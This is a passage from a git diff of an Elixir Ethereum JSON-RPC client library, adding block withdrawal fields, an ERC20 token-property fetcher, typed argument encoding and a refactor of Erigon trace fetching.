Timex.parse!("1970-01-01T00:00:00Z", "{ISO:Extended:Z}"), total_difficulty: 131072, - transactions_root: "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", + transactions_root: "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421",\ + #{case @chain_type do + :rsk -> """ + bitcoin_merged_mining_coinbase_transaction: nil,\ + bitcoin_merged_mining_header: nil,\ + bitcoin_merged_mining_merkle_proof: nil,\ + hash_for_merged_mining: nil,\ + minimum_gas_price: nil,\ + """ + :ethereum -> """ + withdrawals_root: "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421",\ + blob_gas_used: 0,\ + excess_blob_gas: 0,\ + """ + :arbitrum -> """ + send_root: nil,\ + send_count: nil,\ + l1_block_number: nil,\ + """ + :zilliqa -> """ + zilliqa_view: nil,\ + """ + _ -> "" + end} uncles: ["0xe670ec64341771606e55d6b4ca35a1a6b75ee3d5145a99d05921026d15273311"] } ] @@ -271,6 +385,74 @@ defmodule EthereumJSONRPC.Blocks do Enum.flat_map(elixir, &Block.elixir_to_uncles/1) end + @doc """ + Extracts the `t:EthereumJSONRPC.Withdrawals.elixir/0` from the `t:elixir/0`. + + iex> EthereumJSONRPC.Blocks.elixir_to_withdrawals([ + ...> %{ + ...> "baseFeePerGas" => 7, + ...> "difficulty" => 0, + ...> "extraData" => "0x", + ...> "gasLimit" => 7_009_844, + ...> "gasUsed" => 0, + ...> "hash" => "0xc0b72358464dc55cb51c990360d94809e40f291603a7664d55cf83f87edb799d", + ...> "logsBloom" => "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + ...> "miner" => "0xe7c180eada8f60d63e9671867b2e0ca2649207a8", + ...> "mixHash" => "0x9cc5c22d51f47caf700636f629e0765a5fe3388284682434a3717d099960681a", + ...> "nonce" => "0x0000000000000000", + ...> "number" => 541, + ...> "parentHash" => "0x9bc27f8db423bea352a32b819330df307dd351da71f3b3f8ac4ad56856c1e053", + ...> "receiptsRoot" => "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", + ...> "sha3Uncles" => "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", + ...> "size" => 1107, + ...> "stateRoot" => "0x9de54b38595b4b8baeece667ae1f7bec8cfc814a514248985e3d98c91d331c71", + ...> "timestamp" => Timex.parse!("2022-12-15T21:06:15Z", "{ISO:Extended:Z}"), + ...> "totalDifficulty" => 1, + ...> "transactions" => [], + ...> "transactionsRoot" => "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", + ...> "uncles" => [], + ...> "withdrawals" => [ + ...> %{ + ...> "address" => "0x388ea662ef2c223ec0b047d41bf3c0f362142ad5", + ...> "amount" => 4_040_000_000_000, + ...> "blockHash" => "0xc0b72358464dc55cb51c990360d94809e40f291603a7664d55cf83f87edb799d", + ...> "index" => 3867, + ...> "validatorIndex" => 1721 + ...> }, + ...> %{ + ...> "address" => "0x388ea662ef2c223ec0b047d41bf3c0f362142ad5", + ...> "amount" => 4_040_000_000_000, + ...> "blockHash" => "0xc0b72358464dc55cb51c990360d94809e40f291603a7664d55cf83f87edb799d", + ...> "index" => 3868, + ...> "validatorIndex" => 1771 + ...> } + ...> ], + ...> "withdrawalsRoot" => "0x23e926286a20cba56ee0fcf0eca7aae44f013bd9695aaab58478e8d69b0c3d68" + ...> } + ...> ]) + [ + %{ + "address" => "0x388ea662ef2c223ec0b047d41bf3c0f362142ad5", + "amount" => 4040000000000, + "blockHash" => "0xc0b72358464dc55cb51c990360d94809e40f291603a7664d55cf83f87edb799d", + "index" => 3867, + "validatorIndex" => 1721 + }, + %{ + "address" => "0x388ea662ef2c223ec0b047d41bf3c0f362142ad5", + "amount" => 4040000000000, + "blockHash" => "0xc0b72358464dc55cb51c990360d94809e40f291603a7664d55cf83f87edb799d", + "index" => 3868, + "validatorIndex" => 1771 + } + ] + + """ + @spec elixir_to_withdrawals(elixir) :: Withdrawals.elixir() + def elixir_to_withdrawals(elixir) do + Enum.flat_map(elixir, &Block.elixir_to_withdrawals/1) + end + @doc """ Decodes the stringly typed numerical fields to `t:non_neg_integer/0` and the timestamps to `t:DateTime.t/0` @@ -299,7 +481,22 @@ defmodule EthereumJSONRPC.Blocks do ...> "totalDifficulty" => "0x20000", ...> "transactions" => [], ...> "transactionsRoot" => "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", - ...> "uncles" => [] + ...> "uncles" => [], + ...> "withdrawals" => [ + ...> %{ + ...> "index" => "0xf1b", + ...> "validatorIndex" => "0x6b9", + ...> "address" => "0x388ea662ef2c223ec0b047d41bf3c0f362142ad5", + ...> "amount" => "0x3aca2c3d000" + ...> }, + ...> %{ + ...> "index" => "0xf1c", + ...> "validatorIndex" => "0x6eb", + ...> "address" => "0x388ea662ef2c223ec0b047d41bf3c0f362142ad5", + ...> "amount" => "0x3aca2c3d000" + ...> } + ...> ], + ...> "withdrawalsRoot" => "0x23e926286a20cba56ee0fcf0eca7aae44f013bd9695aaab58478e8d69b0c3d68" ...> } ...> ] ...> ) @@ -327,7 +524,26 @@ defmodule EthereumJSONRPC.Blocks do "totalDifficulty" => 131072, "transactions" => [], "transactionsRoot" => "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", - "uncles" => [] + "uncles" => [], + "withdrawals" => [ + %{ + "address" => "0x388ea662ef2c223ec0b047d41bf3c0f362142ad5", + "amount" => 4_040_000_000_000, + "blockHash" => "0x5b28c1bfd3a15230c9a46b399cd0f9a6920d432e85381cc6a140b06e8410112f", + "index" => 3867, + "validatorIndex" => 1721, + "blockNumber" => 0 + }, + %{ + "address" => "0x388ea662ef2c223ec0b047d41bf3c0f362142ad5", + "amount" => 4_040_000_000_000, + "blockHash" => "0x5b28c1bfd3a15230c9a46b399cd0f9a6920d432e85381cc6a140b06e8410112f", + "index" => 3868, + "validatorIndex" => 1771, + "blockNumber" => 0 + } + ], + "withdrawalsRoot" => "0x23e926286a20cba56ee0fcf0eca7aae44f013bd9695aaab58478e8d69b0c3d68" } ] """ diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/contract.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/contract.ex index 448d18350f7b..75b5e69ef49f 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/contract.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/contract.ex @@ -18,7 +18,7 @@ defmodule EthereumJSONRPC.Contract do required(:contract_address) => String.t(), required(:method_id) => String.t(), required(:args) => [term()], - optional(:block_number) => EthereumJSONRPC.block_number() + optional(:block_number) => EthereumJSONRPC.block_number() | nil } @typedoc """ @@ -56,6 +56,7 @@ defmodule EthereumJSONRPC.Contract do |> case do {:ok, responses} -> responses {:error, {:bad_gateway, _request_url}} -> raise "Bad gateway" + {:error, {reason, _request_url}} -> raise to_string(reason) {:error, reason} when is_atom(reason) -> raise Atom.to_string(reason) {:error, error} -> raise error end @@ -132,9 +133,13 @@ defmodule EthereumJSONRPC.Contract do defp convert_int_string_to_array_inner(arg) do arg - |> Enum.map(fn el -> - {int, _} = Integer.parse(el) - int + |> Enum.map(fn + el when is_integer(el) -> + el + + el -> + {int, _} = Integer.parse(el) + int end) end @@ -201,24 +206,18 @@ defmodule EthereumJSONRPC.Contract do request(full_params) end - def eth_get_storage_at_request(contract_address, storage_pointer, block_number, json_rpc_named_arguments) do - block = - case block_number do - nil -> "latest" - block_number -> integer_to_quantity(block_number) - end - - result = - %{id: 0, method: "eth_getStorageAt", params: [contract_address, storage_pointer, block]} - |> request() - |> json_rpc(json_rpc_named_arguments) + def eth_get_storage_at_request(contract_address, storage_pointer, id) do + full_params = %{ + id: id, + method: "eth_getStorageAt", + params: [contract_address, storage_pointer, "latest"] + } - case result do - {:ok, storage_value} -> {:ok, storage_value} - other -> other - end + request(full_params) end + defp format_error(nil), do: {:error, ""} + defp format_error(message) when is_binary(message) do {:error, message} end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/decode_error.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/decode_error.ex index 08c233a24f6f..57c62262dd48 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/decode_error.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/decode_error.ex @@ -11,8 +11,8 @@ defmodule EthereumJSONRPC.DecodeError do Ethereum JSONRPC request whose `EthereumJSONRPC.DecodeError.Response` had a decode error. """ - @enforce_keys [:url, :body] - defstruct [:url, :body] + @enforce_keys [:url, :body, :headers] + defstruct [:url, :body, :headers] end defmodule Response do @@ -40,7 +40,7 @@ defmodule EthereumJSONRPC.DecodeError do @impl Exception def message( %EthereumJSONRPC.DecodeError{ - request: %EthereumJSONRPC.DecodeError.Request{url: request_url, body: request_body}, + request: %EthereumJSONRPC.DecodeError.Request{url: request_url, body: request_body, headers: headers}, response: %EthereumJSONRPC.DecodeError.Response{status_code: response_status_code, body: response_body} } = decode_error ) do @@ -61,10 +61,12 @@ defmodule EthereumJSONRPC.DecodeError do request: - url: #{if hide_url, do: "hidden", else: request_url} + url: #{if hide_url, do: "rpc_url", else: request_url} body: #{truncated_request_body} + headers: #{inspect(headers)} + response: status code: #{response_status_code} diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/encoder.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/encoder.ex index 034c12de67ad..052765f9a9b7 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/encoder.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/encoder.ex @@ -12,8 +12,8 @@ defmodule EthereumJSONRPC.Encoder do This is what is expected on the Json RPC data parameter. """ @spec encode_function_call(ABI.FunctionSelector.t(), [term()]) :: String.t() - def encode_function_call(function_selector, args) do - parsed_args = parse_args(args) + def encode_function_call(function_selector, args) when is_list(args) do + parsed_args = parse_args(args, function_selector.types) encoded_args = function_selector @@ -23,16 +23,28 @@ defmodule EthereumJSONRPC.Encoder do "0x" <> encoded_args end - defp parse_args(args) when is_list(args) do + def encode_function_call(function_selector, args), do: encode_function_call(function_selector, [args]) + + defp parse_args(args, {:array, type}) when is_list(args) do + Enum.map(args, fn arg -> parse_args(arg, type) end) + end + + defp parse_args(args, types) when is_list(args) do args - |> Enum.map(&parse_args/1) + |> Enum.zip(types) + |> Enum.map(fn {arg, type} -> + parse_args(arg, type) + end) end - defp parse_args(<<"0x", hexadecimal_digits::binary>>), do: Base.decode16!(hexadecimal_digits, case: :mixed) + defp parse_args(<>, type) when type in [:string, "string"], + do: hexadecimal_digits |> Base.encode16() |> try_to_decode() + + defp parse_args(<<"0x", hexadecimal_digits::binary>>, _type), do: Base.decode16!(hexadecimal_digits, case: :mixed) - defp parse_args(<>), do: try_to_decode(hexadecimal_digits) + defp parse_args(<>, _type), do: try_to_decode(hexadecimal_digits) - defp parse_args(arg), do: arg + defp parse_args(arg, _type), do: arg defp try_to_decode(hexadecimal_digits) do case Base.decode16(hexadecimal_digits, case: :mixed) do @@ -67,7 +79,7 @@ defmodule EthereumJSONRPC.Encoder do end end - def decode_result(result, selectors, _leave_error_as_map) when is_list(selectors) do + def decode_result(%{id: id, result: _result} = result, selectors, _leave_error_as_map) when is_list(selectors) do selectors |> Enum.map(fn selector -> try do @@ -76,7 +88,7 @@ defmodule EthereumJSONRPC.Encoder do _ -> :error end end) - |> Enum.find(fn decode -> + |> Enum.find({id, {:error, :unable_to_decode}}, fn decode -> case decode do {_id, {:ok, _}} -> true _ -> false @@ -89,7 +101,7 @@ defmodule EthereumJSONRPC.Encoder do decoded_data = result - |> String.slice(2..-1) + |> String.slice(2..-1//1) |> Base.decode16!(case: :lower) |> TypeDecoder.decode_raw(types_list) |> Enum.zip(types_list) @@ -108,7 +120,7 @@ defmodule EthereumJSONRPC.Encoder do def unescape(data) do if String.starts_with?(data, "\\x") do charlist = String.to_charlist(data) - erlang_literal = '"#{charlist}"' + erlang_literal = ~c"\"#{charlist}\"" {:ok, [{:string, _, unescaped_charlist}], _} = :erl_scan.string(erlang_literal) List.to_string(unescaped_charlist) else diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/erc20.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/erc20.ex new file mode 100644 index 000000000000..fdcc8ac3eac7 --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/erc20.ex @@ -0,0 +1,148 @@ +defmodule EthereumJSONRPC.ERC20 do + @moduledoc """ + Provides ability to interact with ERC20 token contracts directly. + This module is primarily used in the Arbitrum claiming process to fetch + L1 token information for withdrawal transactions. + + Currently supports fetching token properties like name, symbol and decimals + through direct contract calls. + + ## Examples + + iex> EthereumJSONRPC.ERC20.fetch_token_properties( + ...> "0xdAC17F958D2ee523a2206206994597C13D831ec7", + ...> [:name, :symbol], + ...> json_rpc_named_arguments + ...> ) + %{ + name: "Tether USD", + symbol: "USDT" + } + + For more information about the ERC20 standard, see: + https://eips.ethereum.org/EIPS/eip-20 + """ + + require Logger + + # decimals() + @selector_decimals "313ce567" + # name() + @selector_name "06fdde03" + # symbol() + @selector_symbol "95d89b41" + @erc20_contract_abi [ + %{ + "inputs" => [], + "name" => "decimals", + "outputs" => [ + %{ + "internalType" => "uint8", + "name" => "", + "type" => "uint8" + } + ], + "stateMutability" => "view", + "type" => "function" + }, + %{ + "inputs" => [], + "name" => "name", + "outputs" => [ + %{ + "internalType" => "string", + "name" => "", + "type" => "string" + } + ], + "stateMutability" => "view", + "type" => "function" + }, + %{ + "inputs" => [], + "name" => "symbol", + "outputs" => [ + %{ + "internalType" => "string", + "name" => "", + # TODO: Research the compatibility of this ABI + # with tokens that return bytes32 for the symbol method + "type" => "string" + } + ], + "stateMutability" => "view", + "type" => "function" + } + ] + + @doc """ + Retrieve minimal ERC20 token properties (name, symbol, decimals) from the contract needed + for display purposes. + + ## Parameters + - `token_address`: The address of the token's smart contract. + - `properties`: A list of token properties to be requested. + - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + + ## Returns + A map with the requested fields containing associated values or nil in case of error. + """ + @spec fetch_token_properties( + EthereumJSONRPC.address(), + [:decimals | :name | :symbol], + EthereumJSONRPC.json_rpc_named_arguments() + ) :: + %{ + optional(:decimals) => non_neg_integer() | nil, + optional(:name) => binary() | nil, + optional(:symbol) => binary() | nil + } + def fetch_token_properties( + token_address, + properties \\ [:decimals, :name, :symbol], + json_rpc_named_arguments + ) do + method_ids = + properties + |> map_properties_to_methods() + + method_ids + |> Enum.map(fn method_id -> + %{ + contract_address: token_address, + method_id: method_id, + args: [] + } + end) + |> EthereumJSONRPC.execute_contract_functions(@erc20_contract_abi, json_rpc_named_arguments) + |> Enum.zip(method_ids) + |> Enum.reduce(%{}, fn + {{:ok, [response]}, method_id}, retval -> + Map.put(retval, atomized_erc20_selector(method_id), response) + + {{:error, reason}, method_id}, retval -> + Logger.error("[EthereumJSONRPC.ERC20] Failed to fetch token property! \ + token_address: #{inspect(token_address)}, \ + method_id: #{inspect(method_id)}, \ + error: #{inspect(reason)}") + + Map.put(retval, atomized_erc20_selector(method_id), nil) + end) + end + + # Maps the token properties to the corresponding method selectors in the ERC20 contract + @spec map_properties_to_methods([:decimals | :name | :symbol]) :: [String.t()] + defp map_properties_to_methods(properties) do + Enum.map(properties, fn + :decimals -> @selector_decimals + :name -> @selector_name + :symbol -> @selector_symbol + end) + end + + # Converts the selector to the associated token property atom + @spec atomized_erc20_selector(<<_::64>>) :: atom() + defp atomized_erc20_selector(@selector_decimals), do: :decimals + defp atomized_erc20_selector(@selector_name), do: :name + defp atomized_erc20_selector(@selector_symbol), do: :symbol +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/erigon.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/erigon.ex index c6ccbc52b51b..57f490162270 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/erigon.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/erigon.ex @@ -3,11 +3,10 @@ defmodule EthereumJSONRPC.Erigon do @moduledoc """ Ethereum JSONRPC methods that are only supported by Erigon. """ - require Logger - import EthereumJSONRPC, only: [id_to_params: 1, integer_to_quantity: 1, json_rpc: 2, request: 1] + import EthereumJSONRPC, only: [id_to_params: 1, integer_to_quantity: 1, json_rpc: 2] - alias EthereumJSONRPC.Parity.{FetchedBeneficiaries, Traces} - alias EthereumJSONRPC.Transactions + alias EthereumJSONRPC.Nethermind.Traces + alias EthereumJSONRPC.{FetchedBeneficiaries, PendingTransaction, TraceReplayBlockTransactions} @behaviour EthereumJSONRPC.Variant @@ -27,61 +26,20 @@ defmodule EthereumJSONRPC.Erigon do end end - @doc """ - Internal transaction fetching for individual transactions is no longer supported for Parity. - - To signal to the caller that fetching is not supported, `:ignore` is returned. - """ @impl EthereumJSONRPC.Variant def fetch_internal_transactions(_transactions_params, _json_rpc_named_arguments), do: :ignore @doc """ - Fetches the `t:Explorer.Chain.InternalTransaction.changeset/2` params from the Parity trace URL. + Fetches the `t:Explorer.Chain.InternalTransaction.changeset/2` params from the Erigon trace URL. """ @impl EthereumJSONRPC.Variant def fetch_block_internal_transactions(block_numbers, json_rpc_named_arguments) when is_list(block_numbers) do - id_to_params = id_to_params(block_numbers) - - with {:ok, responses} <- - id_to_params - |> trace_replay_block_transactions_requests() - |> json_rpc(json_rpc_named_arguments) do - trace_replay_block_transactions_responses_to_internal_transactions_params(responses, id_to_params) - end + TraceReplayBlockTransactions.fetch_block_internal_transactions(block_numbers, json_rpc_named_arguments, Traces) end @impl EthereumJSONRPC.Variant def fetch_first_trace(transactions_params, json_rpc_named_arguments) when is_list(transactions_params) do - id_to_params = id_to_params(transactions_params) - - trace_replay_transaction_response = - id_to_params - |> trace_replay_transaction_requests() - |> json_rpc(json_rpc_named_arguments) - - case trace_replay_transaction_response do - {:ok, responses} -> - case trace_replay_transaction_responses_to_first_trace_params(responses, id_to_params) do - {:ok, [first_trace]} -> - %{block_hash: block_hash} = - transactions_params - |> Enum.at(0) - - {:ok, - [%{first_trace: first_trace, block_hash: block_hash, json_rpc_named_arguments: json_rpc_named_arguments}]} - - {:error, error} -> - Logger.error(inspect(error)) - {:error, error} - end - - {:error, :econnrefused} -> - {:error, :econnrefused} - - {:error, [error]} -> - Logger.error(inspect(error)) - {:error, error} - end + TraceReplayBlockTransactions.fetch_first_trace(transactions_params, json_rpc_named_arguments, Traces) end @doc """ @@ -89,227 +47,15 @@ defmodule EthereumJSONRPC.Erigon do """ @impl EthereumJSONRPC.Variant def fetch_pending_transactions(json_rpc_named_arguments) do - with {:ok, transaction_data} <- - %{id: 1, method: "txpool_content", params: []} |> request() |> json_rpc(json_rpc_named_arguments) do - transactions_params = - transaction_data["pending"] - |> Enum.flat_map(fn {_address, nonce_transactions_map} -> - nonce_transactions_map - |> Enum.map(fn {_nonce, transaction} -> - transaction - end) - end) - |> Transactions.to_elixir() - |> Transactions.elixir_to_params() - |> Enum.map(fn params -> - # txpool_content always returns transaction with 0x0000000000000000000000000000000000000000000000000000000000000000 value in block hash and index is null. - # https://github.com/ethereum/go-ethereum/issues/19897 - params - |> Map.merge(%{:block_hash => nil, :index => nil}) - end) + PendingTransaction.fetch_pending_transactions_geth(json_rpc_named_arguments) + end - {:ok, transactions_params} - end + @impl EthereumJSONRPC.Variant + def fetch_transaction_raw_traces(transaction_params, json_rpc_named_arguments) do + TraceReplayBlockTransactions.fetch_transaction_raw_traces(transaction_params, json_rpc_named_arguments) end defp block_numbers_to_params_list(block_numbers) when is_list(block_numbers) do Enum.map(block_numbers, &%{block_quantity: integer_to_quantity(&1)}) end - - defp trace_replay_block_transactions_responses_to_internal_transactions_params(responses, id_to_params) - when is_list(responses) and is_map(id_to_params) do - with {:ok, traces} <- trace_replay_block_transactions_responses_to_traces(responses, id_to_params) do - params = - traces - |> Traces.to_elixir() - |> Traces.elixir_to_params() - - {:ok, params} - end - end - - defp trace_replay_block_transactions_responses_to_traces(responses, id_to_params) - when is_list(responses) and is_map(id_to_params) do - responses - |> Enum.map(&trace_replay_block_transactions_response_to_traces(&1, id_to_params)) - |> Enum.reduce( - {:ok, []}, - fn - {:ok, traces}, {:ok, acc_traces_list} -> - {:ok, [traces | acc_traces_list]} - - {:ok, _}, {:error, _} = acc_error -> - acc_error - - {:error, reason}, {:ok, _} -> - {:error, [reason]} - - {:error, reason}, {:error, acc_reason} -> - {:error, [reason | acc_reason]} - end - ) - |> case do - {:ok, traces_list} -> - traces = - traces_list - |> Enum.reverse() - |> List.flatten() - - {:ok, traces} - - {:error, reverse_reasons} -> - reasons = Enum.reverse(reverse_reasons) - {:error, reasons} - end - end - - defp trace_replay_block_transactions_response_to_traces(%{id: id, result: results}, id_to_params) - when is_list(results) and is_map(id_to_params) do - block_number = Map.fetch!(id_to_params, id) - - annotated_traces = - results - |> Stream.with_index() - |> Enum.flat_map(fn {%{"trace" => traces, "transactionHash" => transaction_hash}, transaction_index} -> - traces - |> Stream.with_index() - |> Enum.map(fn {trace, index} -> - Map.merge(trace, %{ - "blockNumber" => block_number, - "transactionHash" => transaction_hash, - "transactionIndex" => transaction_index, - "index" => index - }) - end) - end) - - {:ok, annotated_traces} - end - - defp trace_replay_block_transactions_response_to_traces(%{id: id, error: error}, id_to_params) - when is_map(id_to_params) do - block_number = Map.fetch!(id_to_params, id) - - annotated_error = - Map.put(error, :data, %{ - "blockNumber" => block_number - }) - - {:error, annotated_error} - end - - defp trace_replay_block_transactions_requests(id_to_params) when is_map(id_to_params) do - Enum.map(id_to_params, fn {id, block_number} -> - trace_replay_block_transactions_request(%{id: id, block_number: block_number}) - end) - end - - defp trace_replay_block_transactions_request(%{id: id, block_number: block_number}) do - request(%{id: id, method: "trace_replayBlockTransactions", params: [integer_to_quantity(block_number), ["trace"]]}) - end - - def trace_replay_transaction_responses_to_first_trace_params(responses, id_to_params) - when is_list(responses) and is_map(id_to_params) do - with {:ok, traces} <- trace_replay_transaction_responses_to_first_trace(responses, id_to_params) do - params = - traces - |> Traces.to_elixir() - |> Traces.elixir_to_params() - - {:ok, params} - end - end - - defp trace_replay_transaction_responses_to_first_trace(responses, id_to_params) - when is_list(responses) and is_map(id_to_params) do - responses - |> Enum.map(&trace_replay_transaction_response_to_first_trace(&1, id_to_params)) - |> Enum.reduce( - {:ok, []}, - fn - {:ok, traces}, {:ok, acc_traces_list} -> - {:ok, [traces | acc_traces_list]} - - {:ok, _}, {:error, _} = acc_error -> - acc_error - - {:error, reason}, {:ok, _} -> - {:error, [reason]} - - {:error, reason}, {:error, acc_reason} -> - {:error, [reason | acc_reason]} - end - ) - |> case do - {:ok, traces_list} -> - traces = - traces_list - |> Enum.reverse() - |> List.flatten() - - {:ok, traces} - - {:error, reverse_reasons} -> - reasons = Enum.reverse(reverse_reasons) - {:error, reasons} - end - end - - defp trace_replay_transaction_response_to_first_trace(%{id: id, result: %{"trace" => traces}}, id_to_params) - when is_list(traces) and is_map(id_to_params) do - %{ - block_hash: block_hash, - block_number: block_number, - hash_data: transaction_hash, - transaction_index: transaction_index - } = Map.fetch!(id_to_params, id) - - first_trace = - traces - |> Stream.with_index() - |> Enum.map(fn {trace, index} -> - Map.merge(trace, %{ - "blockHash" => block_hash, - "blockNumber" => block_number, - "index" => index, - "transactionIndex" => transaction_index, - "transactionHash" => transaction_hash - }) - end) - |> Enum.filter(fn trace -> - Map.get(trace, "index") == 0 - end) - - {:ok, first_trace} - end - - defp trace_replay_transaction_response_to_first_trace(%{id: id, error: error}, id_to_params) - when is_map(id_to_params) do - %{ - block_hash: block_hash, - block_number: block_number, - hash_data: transaction_hash, - transaction_index: transaction_index - } = Map.fetch!(id_to_params, id) - - annotated_error = - Map.put(error, :data, %{ - "blockHash" => block_hash, - "blockNumber" => block_number, - "transactionIndex" => transaction_index, - "transactionHash" => transaction_hash - }) - - {:error, annotated_error} - end - - defp trace_replay_transaction_requests(id_to_params) when is_map(id_to_params) do - Enum.map(id_to_params, fn {id, %{hash_data: hash_data}} -> - trace_replay_transaction_request(%{id: id, hash_data: hash_data}) - end) - end - - defp trace_replay_transaction_request(%{id: id, hash_data: hash_data}) do - request(%{id: id, method: "trace_replayTransaction", params: [hash_data, ["trace"]]}) - end end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/fetched_balances.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/fetched_balances.ex index dc629c720a39..d87bdfb00e3c 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/fetched_balances.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/fetched_balances.ex @@ -19,6 +19,7 @@ defmodule EthereumJSONRPC.FetchedBalances do """ def from_responses(responses, id_to_params) do responses + |> EthereumJSONRPC.sanitize_responses(id_to_params) |> Enum.map(&FetchedBalance.from_response(&1, id_to_params)) |> Enum.reduce( %__MODULE__{}, @@ -32,6 +33,17 @@ defmodule EthereumJSONRPC.FetchedBalances do ) end + @doc """ + Merges two `t/0` to one `t/0`. + """ + @spec merge(t(), t()) :: t() + def merge(%{params_list: params_list_1, errors: errors_1}, %{params_list: params_list_2, errors: errors_2}) do + %__MODULE__{ + params_list: params_list_1 ++ params_list_2, + errors: errors_1 ++ errors_2 + } + end + @doc """ `eth_getBalance` requests for `id_to_params`. """ diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/fetched_beneficiaries.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/fetched_beneficiaries.ex index 8dcf2cd8b677..60e65665d967 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/fetched_beneficiaries.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/fetched_beneficiaries.ex @@ -1,8 +1,10 @@ defmodule EthereumJSONRPC.FetchedBeneficiaries do @moduledoc """ - Balance params and errors from a batch request to fetch beneficiaries. + Beneficiaries and errors from batch requests to `trace_block`. """ + import EthereumJSONRPC, only: [quantity_to_integer: 1] + alias EthereumJSONRPC.FetchedBeneficiary defstruct params_set: MapSet.new(), @@ -13,4 +15,182 @@ defmodule EthereumJSONRPC.FetchedBeneficiaries do * `errors` - all the errors from requests that failed in the batch. """ @type t :: %__MODULE__{params_set: MapSet.t(FetchedBeneficiary.params()), errors: [FetchedBeneficiary.error()]} + + @doc """ + Converts `responses` to `EthereumJSONRPC.FetchedBeneficiaries.t()`. + + responses - List with trace_block responses + id_to_params - Maps request id to query params + + ## Examples + iex> EthereumJSONRPC.FetchedBeneficiaries.from_responses( + ...> [ + ...> %{ + ...> id: 0, + ...> result: [ + ...> %{ + ...> "action" => %{"author" => "0x1", "rewardType" => "external", "value" => "0x0"}, + ...> "blockHash" => "0xFFF", + ...> "blockNumber" => 12, + ...> "result" => nil, + ...> "subtraces" => 0, + ...> "traceAddress" => [], + ...> "transactionHash" => nil, + ...> "transactionPosition" => nil, + ...> "type" => "reward" + ...> }, + ...> %{ + ...> "action" => %{"author" => "0x2", "rewardType" => "external", "value" => "0x0"}, + ...> "blockHash" => "0xFFF", + ...> "blockNumber" => 12, + ...> "result" => nil, + ...> "subtraces" => 0, + ...> "traceAddress" => [], + ...> "transactionHash" => nil, + ...> "transactionPosition" => nil, + ...> "type" => "reward" + ...> } + ...> ] + ...> } + ...> ], + ...> %{0 => %{block_quantity: "0xC"}} + ...> ) + %EthereumJSONRPC.FetchedBeneficiaries{ + errors: [], + params_set: #MapSet<[ + %{ + address_hash: "0x1", + address_type: :validator, + block_hash: "0xFFF", + block_number: 12, + reward: "0x0" + }, + %{ + address_hash: "0x2", + address_type: :emission_funds, + block_hash: "0xFFF", + block_number: 12, + reward: "0x0" + } + ]> + } + """ + def from_responses(responses, id_to_params) when is_list(responses) and is_map(id_to_params) do + responses + |> EthereumJSONRPC.sanitize_responses(id_to_params) + |> Enum.map(&response_to_params_set(&1, id_to_params)) + |> Enum.reduce( + %EthereumJSONRPC.FetchedBeneficiaries{}, + fn + {:ok, params_set}, %EthereumJSONRPC.FetchedBeneficiaries{params_set: acc_params_set} = acc -> + %EthereumJSONRPC.FetchedBeneficiaries{acc | params_set: MapSet.union(acc_params_set, params_set)} + + {:error, reason}, %EthereumJSONRPC.FetchedBeneficiaries{errors: errors} = acc -> + %EthereumJSONRPC.FetchedBeneficiaries{acc | errors: [reason | errors]} + end + ) + end + + @doc """ + `trace_block` requests for `id_to_params`. + """ + def requests(id_to_params) when is_map(id_to_params) do + id_to_params + |> Enum.map(fn {id, %{block_quantity: block_quantity}} -> + request(%{id: id, block_quantity: block_quantity}) + end) + |> Enum.filter(&(!is_nil(&1))) + end + + @spec response_to_params_set(%{id: id, result: nil}, %{id => %{block_quantity: block_quantity}}) :: + {:error, %{code: 404, message: String.t(), data: %{block_quantity: block_quantity}}} + when id: non_neg_integer(), block_quantity: String.t() + defp response_to_params_set(%{id: id, result: nil}, id_to_params) when is_map(id_to_params) do + %{block_quantity: block_quantity} = Map.fetch!(id_to_params, id) + + {:error, %{code: 404, message: "Not Found", data: %{block_quantity: block_quantity}}} + end + + @spec response_to_params_set(%{id: id, result: list(map())}, %{id => %{block_quantity: block_quantity}}) :: + {:ok, 